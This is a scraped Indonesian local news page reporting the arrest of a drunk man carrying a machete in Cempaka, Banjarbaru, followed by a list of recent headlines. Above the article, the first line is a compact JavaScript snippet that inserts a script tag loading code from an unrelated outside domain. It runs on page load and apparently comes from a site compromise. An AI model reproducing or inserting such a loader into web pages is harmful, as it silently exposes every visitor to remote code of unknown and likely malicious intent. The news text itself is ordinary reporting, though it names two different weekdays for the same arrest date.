(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Mabuk Bawa Parang, Lelaki Ini Digelandang ke Mapolsek Cempaka


KANALKALIMANTAN.COM, BANJARBARU – Kedapatan menyimpan senjata tajam (Sajam) jenis parang, laki-laki Muhajir alias Jijir (31) diamankan personel Polsek Cempaka, Rabu (1/6/2022) malam.

Lelaki ini tercatat sebagai warga Jalan Mistar Cokrokusumo, RT 006 RW 002, Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru.

Kapolsek Cempaka, Ipda Subroto Rindang Arie Setyawan, melalui Kasi Humas Polsek Cempaka, Aipda Hendra Fahmi mengatakan penangkapan lelaki yang cuma tamat SD ini terjadi sekitar pukul 20.00 Wita, Senin (1/6/2022), di Jalan Mujahidin, RT 019 RW 007, Kelurahan Cempaka, Kecamatan Cempaka.

“Pelaku diamankan yang mana saat itu membawa sajam tanpa kumpang di sekitaran Jalan Pasar Ulin-Jalan Mujadin Kelurahan Cempaka sekitar pukul 8 malam,” bebernya, Kamis (2/6/2022).

 

 

Baca juga: Terbitnya SE Penghapusan Honorer: Tidak Ada Pengangkatan PNS dan PPPK, Tetap Ikuti Seleksi!

Penangkapan pelaku, kata Aipda Hendra, berawal dari dua personel Mapolsek Cempaka melakukan patroli. Kemudian, berhasil mengamankan seorang lelaki yang membawa sajam tanpa kumpang sepanjang 63 cm.

“Saat diamankan pelaku dalam keadaan mabuk memasuki pekarangan rumah orang dengan membawa satu buah sajam jenis parang tanpa kumpang, panjangnya kurang lebih 63 cm,” jelasnya.

Diketahui pada saat penangkapan lelaki tersebut dalam keadaan mabuk dari oplosan alkohol.

“Minuman keras yang dikonsumsi pelaku jenis alkohol campuran,” tambahnya.

Aipda Hendra menambahkan, pelaku kini sudah dibawa ke Mapolsek Cempaka untuk penelusuran lebih lanjut.

“Saat ini pelaku beserta barang bukti diamankan dan dibawa ke Mapolsek Cempaka guna proses pemeriksaan lebih lanjut,” bebernya.

Baca juga: Petani di Kalsel Masih Berhajat Pupuk Bersubsidi, Ini Kata Kadis TPH Kalsel

Sementara itu, pelaku dijatuhi Pasal 2 Ayat (1) UU drt No. 12 Tahun 1951, karena membawa senjata penusuk tanpa ijin yang sah.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

16 menit ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

49 menit ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

1 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

1 jam ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

9 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

11 jam ago

This website uses cookies.